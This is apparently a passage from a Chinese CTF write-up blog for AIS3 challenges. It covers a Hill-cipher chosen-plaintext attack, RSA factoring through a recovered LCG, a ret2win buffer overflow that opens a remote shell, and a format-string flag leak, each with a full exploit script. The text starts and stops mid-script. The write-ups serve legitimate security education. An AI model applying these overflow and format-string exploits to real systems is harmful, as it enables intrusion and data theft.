for char_val in padded_flag_bytes[start_index:]:
if not (32 <= char_val <= 126 or char_val == 0):
is_printable = False
break

if is_printable:
decoded_flag = padded_flag_bytes.decode('utf-8', errors='ignore')
final_flag_candidate = decoded_flag.strip(' \x00')

if len(final_flag_candidate) > 10 and len(final_flag_candidate) < 100:
print(f"\n--- 找到潛在的 Flag ---")
print(f"Delta: {delta}")
print(f"還原的 R: {potential_R}")
print(f"還原的 R^2: {potential_R_squared}")
print(f"Flag 字串 (可能): {final_flag_candidate}")
found_flag = final_flag_candidate
break # 找到後就停止搜索

except OverflowError:
pass
except UnicodeDecodeError:
pass

found_flag:
print(f"Found flag: {found_flag}")

Flag

1
AIS3{no_more_junks...plz}

Hill

category:Crypto

題目敘述

Easist Block Cipher for begineer
nc chals1.ais3.org 18000

Author : hahabox0

題目原始碼

chall.py 原始碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import numpy as np

p = 251
n = 8


def gen_matrix(n, p):
while True:
M = np.random.randint(0, p, size=(n, n))
if np.linalg.matrix_rank(M % p) == n:
return M % p

A = gen_matrix(n, p)
B = gen_matrix(n, p)

def str_to_blocks(s):
data = list(s.encode())
length = ((len(data) - 1) // n) + 1
data += [0] * (n * length - len(data)) # padding
blocks = np.array(data, dtype=int).reshape(length, n)
return blocks

def encrypt_blocks(blocks):
C = []
for i in range(len(blocks)):
if i == 0:
c = (A @ blocks[i]) % p
else:
c = (A @ blocks[i] + B @ blocks[i-1]) % p
C.append(c)
return C

flag = "AIS3{Fake_FLAG}"
blocks = str_to_blocks(flag)
ciphertext = encrypt_blocks(blocks)

print("Encrypted flag:")
for c in ciphertext:
print(c)

t = input("input: ")
blocks = str_to_blocks(t)
ciphertext = encrypt_blocks(blocks)
for c in ciphertext:
print(c)

解題思路

伺服器實作了一種基於 Hill Cipher 的加密系統,使用兩個隨機可逆矩陣 A 與 B。加密過程如下:

  • 模數為 $p=251$,區塊大小 $n=8$。
  • 第一區塊加密:$C_0 = A ⋅ P_0 \mod p$
  • 其後區塊加密:$C_i = A ⋅ P_i + B ⋅ P_{i-1} \mod p$
  • 明文會被補 0 至 $n$ 的倍數。

破解核心:選擇明文攻擊(Chosen Plaintext Attack)

觀察加密公式:

  • $C_0 = A ⋅ P_0$
    → 令 $P_0 = e_j$,得到 $A$ 第 $j$ 欄
  • $C_1 = B ⋅ P_0$
    → 若 $P_1 = 0$,則 $C_1 = B ⋅ e_j$

因此設計輸入為 $[e_0, 0, e_1, 0, ..., e_7, 0]$ 共 16 區塊:

  • $C_0, C_2, ..., C_{14}$ → 對應 $A$ 各列
  • $C_1, C_3, ..., C_{15}$ → 對應 $B$ 各列

解題過程

1. 接收伺服器初始加密的 Flag

1
2
conn = remote("chals1.ais3.org", 18000)
flag_ciphertext_blocks = parse_flag_blocks(conn)

2. 發送特殊 Payload,取得加密後的密文

1
2
3
4
# P = [e_0, 0, e_1, 0, ..., e_7, 0]
payload = b''.join([bytes(e) + bytes([0]*8) for e in np.eye(8, dtype=int)])
conn.sendline(payload)
user_ciphertext_blocks = parse_user_blocks(conn)

3. 重建金鑰矩陣 A、B

1
2
A = np.column_stack(user_ciphertext_blocks[::2])
B = np.column_stack(user_ciphertext_blocks[1::2])

4. 求出 A 的模逆

1
2
import sympy
A_inv = np.array(sympy.Matrix(A.tolist()).inv_mod(251)).astype(int)

5. 解密 Flag 密文

1
2
3
4
5
6
7
8
decrypted_blocks = []
P_prev = A_inv @ flag_ciphertext_blocks[0] % 251
decrypted_blocks.append(P_prev)

for C in flag_ciphertext_blocks[1:]:
Pi = A_inv @ ((C - B @ P_prev) % 251) % 251
decrypted_blocks.append(Pi)
P_prev = Pi

6. 還原明文字串

1
2
3
4
5
flag_bytes = [int(v) for vec in decrypted_blocks for v in vec]
while flag_bytes and flag_bytes[-1] == 0:
flag_bytes.pop()

print(bytes(flag_bytes).decode())

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
import numpy as np
from pwn import remote
import sympy # For modular matrix inverse

# Challenge parameters
p = 251
n = 8

def parse_ciphertext_line(line_bytes):
line_str = line_bytes.decode().strip()
# Expect format like "[ 10 20 30 ... ]" or "[10 20 30 ...]"
if line_str.startswith('[') and line_str.endswith(']'):
line_str = line_str[1:-1]
parts = line_str.split()
return np.array([int(x) for x in parts], dtype=int)

def solve():
# Connect to the server
# Replace with actual host and port
# conn = remote("chals1.ais3.org", 18000)
# For local testing using chall.py:
# from pwn import process
# conn = process(['python3', 'chall.py'])


# --- Simulating server for local testing ---
# Remove this block when running against the actual server
class SimulatedServer:
def __init__(self):
self.A_true = self._gen_matrix_true(n, p)
self.B_true = self._gen_matrix_true(n, p)
flag_str = "AIS3{Test_Flag_Content_12345}"
flag_blocks = self._str_to_blocks_true(flag_str)
self.flag_ciphertext = self._encrypt_blocks_true(flag_blocks, self.A_true, self.B_true)

def _gen_matrix_true(self, n_val, p_val):
while True:
M = np.random.randint(0, p_val, size=(n_val, n_val))
if np.linalg.matrix_rank(M % p_val) == n_val:
return M % p_val

def _str_to_blocks_true(self, s):
data = list(s.encode())
length = ((len(data) - 1) // n) + 1
data += [0] * (n * length - len(data))
blocks = np.array(data, dtype=int).reshape(length, n)
return blocks

def _encrypt_blocks_true(self, blocks, A_m, B_m):
C_list = []
for i in range(len(blocks)):
if i == 0:
c = (A_m @ blocks[i]) % p
else:
c = (A_m @ blocks[i] + B_m @ blocks[i-1]) % p
C_list.append(c)
return C_list

def get_flag_ciphertext(self):
lines = [b"Encrypted flag:"]
for c_block in self.flag_ciphertext:
lines.append(str(c_block).encode())
lines.append(b"input: ")
return b"\n".join(lines)

def send_payload_and_get_response(self, payload_bytes_val):
user_blocks = self._str_to_blocks_true(payload_bytes_val.decode('latin-1')) # Use latin-1 for bytes 0-255
user_ciphertext = self._encrypt_blocks_true(user_blocks, self.A_true, self.B_true)
lines = []
for c_block in user_ciphertext:
lines.append(str(c_block).encode())
return b"\n".join(lines)

# Comment out SimulatedServer and uncomment actual connection for CTF
# ---- Start of code using SimulatedServer ----
# sim_server = SimulatedServer()
# print("Simulated Server A:\n", sim_server.A_true)
# print("Simulated Server B:\n", sim_server.B_true)
# initial_output = sim_server.get_flag_ciphertext()
# print(initial_output.decode())
# ---- End of code using SimulatedServer ----

# ---- Start of actual connection code ----
conn = remote("chals1.ais3.org", 18000)
initial_output = conn.recvuntil(b"input: ")
# ---- End of actual connection code ----

# 1. Receive and parse encrypted flag
flag_ciphertext_blocks = []
initial_lines = initial_output.split(b'\n')
# Find where the flag ciphertext starts
start_idx = 0
for i, line_b in enumerate(initial_lines):
if b"Encrypted flag:" in line_b:
start_idx = i + 1
break

for line_b in initial_lines[start_idx:]:
line_s = line_b.decode().strip()
if not line_s or "input:" in line_s : # Stop if empty line or prompt
break
if line_s.startswith('[') and line_s.endswith(']'):
flag_ciphertext_blocks.append(parse_ciphertext_line(line_b))

print(f"Received {len(flag_ciphertext_blocks)} encrypted flag blocks.")

# 2. Craft special plaintext
# P = [e_0, 0, e_1, 0, ..., e_{n-1}, 0]
# (Using e_i for (i+1)-th basis vector to align with 0-indexed loop)
payload_list = []
identity_vectors = np.eye(n, dtype=int)
zero_vector_bytes = bytes([0] * n)

for i in range(n):
# e_i (current basis vector)
payload_list.extend(identity_vectors[i].tolist())
# zero vector
payload_list.extend([0] * n)

# Convert list of ints to bytes
# Ensure characters are in latin-1 range if values > 127
payload_bytes = b""
for val in payload_list:
payload_bytes += bytes([val])

print(f"Crafted payload of length {len(payload_bytes)} bytes.")

# 3. Send plaintext and receive ciphertext for A and B columns
# ---- Start of code using SimulatedServer ----
# user_ciphertext_output = sim_server.send_payload_and_get_response(payload_bytes)
# print(user_ciphertext_output.decode())
# ---- End of code using SimulatedServer ----

# ---- Start of actual connection code ----
conn.sendline(payload_bytes)
user_ciphertext_output = conn.recvall(timeout=5) # Adjust timeout as needed
# ---- End of actual connection code ----

user_c_blocks_raw = user_ciphertext_output.strip().split(b'\n')
user_c_blocks = [parse_ciphertext_line(line) for line in user_c_blocks_raw if line.strip()]

print(f"Received {len(user_c_blocks)} ciphertext blocks for our payload.")

# 4. Reconstruct matrices A and B
A_cols = []
B_cols = []
for i in range(n):
A_cols.append(user_c_blocks[2 * i])
B_cols.append(user_c_blocks[2 * i + 1])

A = np.column_stack(A_cols)
B = np.column_stack(B_cols)

print("Reconstructed matrix A:\n", A)
print("Reconstructed matrix B:\n", B)

# 5. Compute modular inverse of A
A_sympy = sympy.Matrix(A.tolist())
A_inv_sympy = A_sympy.inv_mod(p)
A_inv = np.array(A_inv_sympy).astype(int)

print("Computed A_inv (mod p):\n", A_inv)

# 6. Decrypt the flag
decrypted_flag_blocks_list = []

# Decrypt first block: P_0 = A_inv * C_0
P0_flag_vec = (A_inv @ flag_ciphertext_blocks[0]) % p
P0_flag_vec = (P0_flag_vec + p) % p # Ensure positive
decrypted_flag_blocks_list.append(P0_flag_vec)

# Decrypt subsequent blocks: P_i = A_inv * (C_i - B * P_{i-1})
for i in range(1, len(flag_ciphertext_blocks)):
prev_P_flag_vec = decrypted_flag_blocks_list[i-1]
term_BP = (B @ prev_P_flag_vec) % p

C_i_vec = flag_ciphertext_blocks[i]
term_C_minus_BP = (C_i_vec - term_BP + p) % p # Ensure positive before A_inv mult

Pi_flag_vec = (A_inv @ term_C_minus_BP) % p
Pi_flag_vec = (Pi_flag_vec + p) % p # Ensure positive
decrypted_flag_blocks_list.append(Pi_flag_vec)

# 7. Reconstruct the flag string
flag_bytes_list = []
for block_vec in decrypted_flag_blocks_list:
flag_bytes_list.extend(block_vec.tolist())

# Remove padding (null bytes at the end)
while len(flag_bytes_list) > 0 and flag_bytes_list[-1] == 0:
flag_bytes_list.pop()

flag = bytes(flag_bytes_list).decode('utf-8', errors='ignore')

print("\nDecrypted flag:")
print(flag)

# ---- Start of actual connection code ----
conn.close()
# ---- End of actual connection code ----

if __name__ == '__main__':
solve()

Flag

1
AIS3{b451c_h1ll_c1ph3r_15_2_3z_f0r_u5}

Random_RSA

  • category:Crypto

題目敘述

box just wrote some junk code to rsa

Author : hahabox0

題目內容

chall.py 原始碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
# chall.py
from Crypto.Util.number import getPrime, bytes_to_long
from sympy import nextprime
from gmpy2 import is_prime

FLAG = b"AIS3{Fake_FLAG}"

a = getPrime(512)
b = getPrime(512)
m = getPrime(512)
a %= m
b %= m
seed = getPrime(300)

rng = lambda x: (a*x + b) % m


def genPrime(x):
x = rng(x)
k=0
while not(is_prime(x)):
x = rng(x)
return x

p = genPrime(seed)
q = genPrime(p)

n = p * q
e = 65537
m_int = bytes_to_long(FLAG)
c = pow(m_int, e, n)

# hint
seed = getPrime(300)
h0 = rng(seed)
h1 = rng(h0)
h2 = rng(h1)

with open("output.txt", "w") as f:
f.write(f"h0 = {h0}\n")
f.write(f"h1 = {h1}\n")
f.write(f"h2 = {h2}\n")
f.write(f"M = {m}\n")
f.write(f"n = {n}\n")
f.write(f"e = {e}\n")
f.write(f"c = {c}\n")

output.txt

1
2
3
4
5
6
7
8
h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201

解題思路

解題目標

我們的最終目標是找出正確的 (p, q),進而推得私鑰 d,解密密文 c,取得 flag。

關鍵觀察

  1. 題目使用 線性同餘產生器 (LCG) 產生 RSA 的 p 和 q。
  2. 題目給出連續三個 LCG 輸出 h0, h1, h2,並提供模數 m。
  3. 如果能從這三個值推回 LCG 的參數 a, b,便能模擬 genPrime 的生成過程。
  4. 根據 RSA 特性 n = p × q,並且 q 可用 p 推出,因此建立一個關於 p mod m 的二次同餘方程來求解。

解題過程

1.回推 LCG 參數 a 與 b

從 output.txt 中的值,我們可利用以下公式回推出:

a = (h_2 - h_1) × (h_1 - h_0)^(-1) mod m
b = (h_1 - a × h_0) mod m

補充:這是典型的 LCG 復原方式,只需三個連續輸出即可還原參數。

2.枚舉 genPrime 中的迭代次數 k_q

根據程式邏輯,q = genPrime(p),即從 rng(p) 開始,不斷應用 LCG,直到遇到質數。

因此我們從 k_q = 1 開始枚舉,模擬 q = LCG^k_q(rng(p)),並將其與 q = n // p 比對。

3.數學轉換:建立二次同餘方程

根據 LCG 的遞推關係:

A_k = a^k mod m
B_k = b × (a^k - 1) / (a - 1) mod m

可得:

q = A_k × (a × p + b) + B_k mod m
=> q = A_k a p + A_k b + B_k mod m

代入 n = p × q:

n = p × q = p × (A_k a p + A_k b + B_k)
=> A_s p^2 + B_s p + C_s ≡ 0 mod m

其中:

  • A_s = A_k × a mod m
  • B_s = A_k × b + B_k mod m
  • C_s = -n mod m

4.解二次同餘與驗證

  • 使用 sympy.ntheory.residue_ntheory.sqrt_mod() 解出 p mod m 候選。
  • 驗證是否整除 n,進而推出 q。
  • 最後比對 q 是否為 p 經過 k_q 次 LCG 產生的值,中間不能出現質數。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long
from sympy.ntheory.residue_ntheory import sqrt_mod # For quadratic congruence

# Data from output.txt
h0 = 2907912348071002191916245879840138889735709943414364520299382570212475664973498303148546601830195365671249713744375530648664437471280487562574592742821690
h1 = 5219570204284812488215277869168835724665994479829252933074016962454040118179380992102083718110805995679305993644383407142033253210536471262305016949439530
h2 = 3292606373174558349287781108411342893927327001084431632082705949610494115057392108919491335943021485430670111202762563173412601653218383334610469707428133
M = 9231171733756340601102386102178805385032208002575584733589531876659696378543482750405667840001558314787877405189256038508646253285323713104862940427630413
n = 20599328129696557262047878791381948558434171582567106509135896622660091263897671968886564055848784308773908202882811211530677559955287850926392376242847620181251966209002883852930899738618123390979377039185898110068266682754465191146100237798667746852667232289994907159051427785452874737675171674258299307283
e = 65537
c = 13859390954352613778444691258524799427895807939215664222534371322785849647150841939259007179911957028718342213945366615973766496138577038137962897225994312647648726884239479937355956566905812379283663291111623700888920153030620598532015934309793660829874240157367798084893920288420608811714295381459127830201

# Step 1: Recover LCG parameters a, b
diff_h1_h0 = (h1 - h0 + M) % M
if diff_h1_h0 == 0:
print("Error: h1 - h0 is 0 mod M")
exit()

inv_diff_h1_h0 = gmpy2.invert(diff_h1_h0, M)
lcg_a = ((h2 - h1 + M) % M * inv_diff_h1_h0) % M
lcg_b = (h1 - (lcg_a * h0) % M + M) % M

print(f"Recovered LCG parameters:")
print(f"a = {lcg_a}")
print(f"b = {lcg_b}")
print(f"M = {M}")

# Step 2: Iterate k_q (number of LCG steps from p to q)
MAX_KQ = 5000 # Upper bound for genPrime(p) iterations

for k_q in range(1, MAX_KQ + 1):
if k_q % 100 == 0:
print(f"Trying k_q = {k_q}")

# Calculate A_kq = a^k_q mod M
# Calculate B_kq = b * (a^(k_q-1) + ... + a + 1) mod M

A_kq = gmpy2.powmod(lcg_a, k_q, M)

if lcg_a == 1:
sum_geometric_terms = k_q % M
else:
term_a_k_q_minus_1 = (gmpy2.powmod(lcg_a, k_q, M) - 1 + M) % M
inv_a_minus_1 = gmpy2.invert((lcg_a - 1 + M) % M, M)
sum_geometric_terms = (term_a_k_q_minus_1 * inv_a_minus_1) % M

B_kq = (lcg_b * sum_geometric_terms) % M

# Solve A_s * p^2 + B_s * p + C_s = 0 (mod M)
# A_s = A_kq
# B_s = B_kq
# C_s = -n mod M
A_s = A_kq
B_s = B_kq
C_s = (-n % M + M) % M

p_roots = []
if A_s == 0:
if B_s != 0:
inv_B_s = gmpy2.invert(B_s, M)
p_sol = (-C_s * inv_B_s % M + M) % M
p_roots.append(p_sol)
else:
delta_cong = (B_s * B_s - 4 * A_s * C_s % M + M) % M
sqrt_D_sympy_list = sqrt_mod(delta_cong, M, all_roots=True)

if sqrt_D_sympy_list:
inv_2A_s = gmpy2.invert((2 * A_s) % M, M)
for sqrt_D_val in sqrt_D_sympy_list:
p_sol = ((-B_s + sqrt_D_val + M) % M * inv_2A_s) % M
p_roots.append(p_sol)

unique_p_roots = sorted(list(set(p_roots)))

for p_cand_mod_M in unique_p_roots:
p_cand = p_cand_mod_M

if p_cand == 0 or p_cand >= n :
continue
if n % p_cand != 0:
continue

q_cand = n // p_cand

if not (gmpy2.is_prime(p_cand) and gmpy2.is_prime(q_cand)):
continue

if p_cand == q_cand:
continue

# Verification: q_cand must be the k_q-th LCG output from p_cand
# and intermediate LCG outputs must not be prime
current_val_in_seq = p_cand
path_is_valid = True
# The loop for k_q assumes q is the k_q-th number *generated by rng applied to p and subsequent values*.
# So, if k_q = 1, q = rng(p). There are 0 intermediate values. Loop range(0) is empty.
# If k_q = 2, q = rng(rng(p)). Intermediate is rng(p). Loop range(1) checks rng(p).
for _ in range(k_q - 1):
current_val_in_seq = (lcg_a * current_val_in_seq + lcg_b) % M
if gmpy2.is_prime(current_val_in_seq):
path_is_valid = False
break

if not path_is_valid:
continue

# The final LCG output that should be q
final_generated_q = (lcg_a * current_val_in_seq + lcg_b) % M

if final_generated_q == q_cand:
print(f"\n!!! Found potential p and q at k_q = {k_q} !!!")
print(f"p = {p_cand}")
print(f"q = {q_cand}")

phi = (p_cand - 1) * (q_cand - 1)

if gmpy2.gcd(e, phi) != 1:
print("Error: e is not coprime with phi.")
continue

d_rsa = gmpy2.invert(e, phi)
m_rsa = gmpy2.powmod(c, d_rsa, n)

try:
flag = long_to_bytes(m_rsa)
print(f"Byte flag: {flag}")
if flag.startswith(b"AIS3{") and flag.endswith(b"}"):
print(f"Successfully decrypted flag: {flag.decode()}")
exit()
else:
# Try to decode as UTF-8, ignore errors if any
print(f"Decrypted message: {flag.decode(errors='ignore')}")
print("Format does not look like a flag. Continuing search or check logic.")
except Exception as error_decode:
print(f"Error decoding message: {m_rsa} -> {error_decode}")

print(f"\nCannot find p and q within MAX_KQ = {MAX_KQ} iterations.")

Flag

1
AIS3{1_d0n7_r34lly_why_1_d1dn7_u53_637pr1m3}

Welcome to the World of Ave Mujica🌙

Category: Pwn

題目描述

就將一切委身於 Ave Mujica 吧...

Author: pwn2ooown

解題思路

buf 是堆疊上的固定長度陣列(143 bytes)。

輸入長度來源為 read_int8(),資料型別為 unsigned char。

若輸入 -1,會在 C 語言中被轉型為 255,導致 buffer overflow。

利用方式

用IDA打開找到一個特別的函數:

image

該函數會直接呼叫 execve("/bin/sh", 0, 0),可取得 shell,因此只要覆蓋 return address 為此函數位址,即可完成 Ret2Win 攻擊。

附上我的exploit 雖然GPT幫我大忙

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

# ============================================================================
# 遠端連線設定
# ============================================================================
REMOTE_HOST = "chals1.ais3.org"
REMOTE_PORT = 60544

# ============================================================================
# 二進位分析結果
# ============================================================================
# 目標函數:Welcome_to_the_world_of_Ave_Mujica
# 該函數內容為 execve("/bin/sh", 0, 0),可直接取得 shell
RET2WIN_FUNCTION_ADDR = 0x401256

# 緩衝區到 return address 的位元組距離(從逆向或 cyclic 得出)
BUFFER_OVERFLOW_OFFSET = 0xA8 # 168 bytes

# ============================================================================
# Payload 建構函數
# ============================================================================
def construct_payload() -> bytes:
"""
回傳構造完成的 payload:
- 前段為填充用的 padding(填滿 stack buffer)
- 後段為欲覆蓋的 return address(目標函數位址)
"""
padding = b"A" * BUFFER_OVERFLOW_OFFSET
return_address = p64(RET2WIN_FUNCTION_ADDR)
return padding + return_address

# ============================================================================
# Exploit 主流程
# ============================================================================
def execute_exploit():
"""
連線到遠端伺服器並執行 Ret2Win 攻擊流程:
1. 通過密語檢查
2. 輸入 -1 作為長度,轉為 255 以觸發最大溢位
3. 傳送構造好的 payload
4. 接管流程控制,跳轉至內建 shell 函數
"""
# 建立遠端連線
io = remote(REMOTE_HOST, REMOTE_PORT)

# 第一步:通過密語檢查
io.sendlineafter(b'?', b'yes')

# 第二步:輸入 -1(將被視為 unsigned 8-bit 整數 0xFF)
io.sendlineafter(b':', b'-1')

# 第三步:傳送構造完成的 payload
payload = construct_payload()
io.sendline(payload)

# 第四步:切換互動模式,準備操作 shell
io.interactive()

# ============================================================================
# 程式進入點
# ============================================================================
if __name__ == "__main__":
execute_exploit()

解題流程

輸入通關密語 yes。

輸入 -1 作為輸入長度,會被解釋為 255。

傳送 Payload:168 bytes padding + 目標函數地址。

程式跳轉至 execve("/bin/sh", 0, 0),成功取得 shell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
ls / 
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
run.sh
sbin
srv
sys
tmp
usr
var
cat flag
AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._5b7a94411964ba639d7548f048c22877}

flag

1
AIS3{Ave Mujica🎭將奇蹟帶入日常中🛐(Fortuna💵💵💵)...Ave Mujica🎭為你獻上慈悲憐憫✝️(Lacrima😭🥲💦)..._5b7a94411964ba639d7548f048c22877}

Format Number

Category: Pwn

題目敘述

Print the number in the format you like !
nc chals1.ais3.org 50960

Author : Curious

題目原始碼

題目檔案架構:

1
2
3
4
5
6
7
8
9
├── compose.yml
├── Dockerfile
├── share
│   ├── chal
│   ├── chal.c
│   ├── flag.txt
│   ├── Makefile
│   └── run.sh
└── xinetd

chal.c 原始碼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <time.h>
#include <ctype.h>
#include <string.h>


void check_format(char *format) {
for (int i = 0; format[i] != '\0'; i++) {
char c = format[i];
if (c == '\n') {
format[i] = '\0';
return;
}
if (!isdigit(c) && !ispunct(c)) {
printf("Error format !\n");
exit(1);
}
}
}

int main() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);

srand(time(NULL));
int number = rand();
int fd = open("/home/chal/flag.txt", O_RDONLY);
char flag[0x100] = {0};
read(fd, flag, 0xff);
close(fd);

char format[0x10] = {0};
printf("What format do you want ? ");
read(0, format, 0xf);
check_format(format);

char buffer[0x20] = {0};
strcpy(buffer, "Format number : %3$");
strcat(buffer, format);
strcat(buffer, "d\n");
printf(buffer, "Welcome", "~~~", number);

return 0;
}

解題思路

這題的關鍵在於格式化字串漏洞(Format String Vulnerability)。雖然題目限制使用者的輸入不得包含英文字母(只能使用數字與標點),使得常見的 %x, %s, %p 無法直接使用,但程式碼在組合 printf 格式時會自動加上 d,讓我們能夠透過 %k$d 的方式從堆疊中讀取資料。

發現到的酷東西:

  • 題目讀取 flag 到 stack 中的 flag[0x100]。
  • printf("Format number : %3$" + format + "d\n", ...) 會構造出完整的格式字串。
  • 輸入 _20$,實際變成 %3$_20$d,printf 解析為 %20$d → 讀取第 20 個參數的整數值(ASCII)。
  • 洩漏值如 65 → 'A',73 → 'I',即可拼出 flag。

解題過程

    1. 初步觀察格式化字串限制,只能輸入數字與標點。
    1. 分析 check_format() 與 buffer 的組合,推導出實際執行會加上 d。
    1. 利用 %20$d 開始列舉堆疊上的參數,觀察是否為 AIS3{ 格式。
    1. 使用腳本依序讀取從第 20 個參數開始的 ASCII 值,直到遇到 } 為止。
    1. 拼出完整 flag。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
from pwn import *
import re
import time

# --- IMPORTANT NOTE FOR WINDOWS USERS ---
# For the best experience, it is highly recommended to use pwntools
# within Windows Subsystem for Linux (WSL).
# ---

context.arch = 'amd64'
# context.log_level = 'debug' # Uncomment for very verbose output

HOST = "chals1.ais3.org"
PORT = 50960

# This character will be the literal char printed after "Format number : %"
# It must be a punctuation or digit. Underscore is good.
LEAK_PAYLOAD_PREFIX_CHAR = b'_'

def connect_to_server():
return remote(HOST, PORT)

def leak_char_value_at_printf_index(printf_idx):
p = None
# Our input: e.g., "_%20$"
# Server effectively processes: format string "Format number : %%_ %20$d \n"
# where the %20$d part prints the 20th printf argument.
payload_str = LEAK_PAYLOAD_PREFIX_CHAR.decode() + f"%{printf_idx}$"

try:
p = connect_to_server()
prompt = p.recvuntil(b"What format do you want ? ", timeout=3.0)
if not prompt.endswith(b"What format do you want ? "):
log.warning("Index=%s, Payload='%s': Did not receive full prompt. Received: %r", printf_idx, payload_str, prompt)
if p: p.close()
return None, "Prompt not received"

payload_bytes = payload_str.encode()

if len(payload_bytes) > 15: # Max read size for format string part
log.error("Payload '%s' is too long (%s bytes). Max 15.", payload_str, len(payload_bytes))
if p: p.close()
return None, "Payload too long"

p.sendline(payload_bytes) # sendline appends '\n'

response_data = b""
try:
while True:
chunk = p.recv(numb=4096, timeout=0.5)
if not chunk:
break
response_data += chunk
except EOFError:
pass
except PwnlibException as e:
log.warning("Index=%s, Payload='%s': PwnlibException during recv loop: %s", printf_idx, payload_str, e)
pass

if p: p.close()
response_str = response_data.decode(errors='ignore')

# Regex to parse: "Format number : %<PREFIX_CHAR><leaked_num_val>\n"
# Example: "Format number : %_65\n"
regex_pattern_str = r"Format number : %" + re.escape(LEAK_PAYLOAD_PREFIX_CHAR.decode()) + r"(-?\d+)\n"
match = re.search(regex_pattern_str, response_str)

if match:
leaked_int_str = match.group(1)
return int(leaked_int_str), response_str
else:
log.debug("Index=%s, Payload='%s', No regex match in response: %r", printf_idx, payload_str, response_str)
return None, response_str

except PwnlibException as e:
log.warning("Index=%s, Payload='%s': Outer PwnlibException: %s", printf_idx, payload_str, e)
if p: p.close()
return None, f"PwnlibException: {e}"
except Exception as e:
log.error("Index=%s, Payload='%s': An unexpected error: %s", printf_idx, payload_str, e)
if p: p.close()
return None, f"Unexpected error: {e}"

# --- Main Exploit Logic ---

# Based on analysis, printf argument index 20 corresponds to flag[0]
STARTING_PRINTF_INDEX_FOR_FLAG = 20

log.info(f"Targeting: {HOST}:{PORT}")
log.info(f"Using payload prefix char: '{LEAK_PAYLOAD_PREFIX_CHAR.decode()}'")
log.info(f"Starting flag leak from printf argument index: {STARTING_PRINTF_INDEX_FOR_FLAG}")

leaked_flag_bytes = b""
# Max flag length 0x100 (256 bytes)
for i in range(256):
current_printf_idx = STARTING_PRINTF_INDEX_FOR_FLAG + i

log.info("Leaking char for flag[%s] using printf index %s...", i, current_printf_idx)
char_val, resp_full = leak_char_value_at_printf_index(current_printf_idx)

if char_val is None:
log.warning("Failed to leak at printf index %s (for flag[%s]). Stopping. Response snippet: %r",
current_printf_idx, i, resp_full[:200] if resp_full else "None")
break

if not (0 <= char_val <= 255):
log.warning("Leaked value %s at printf index %s (for flag[%s]) is not a valid byte. Stopping.",
char_val, current_printf_idx, i)
# You might want to append a placeholder or just stop
# For now, let's stop cleanly.
break

leaked_byte = bytes([char_val])
leaked_flag_bytes += leaked_byte

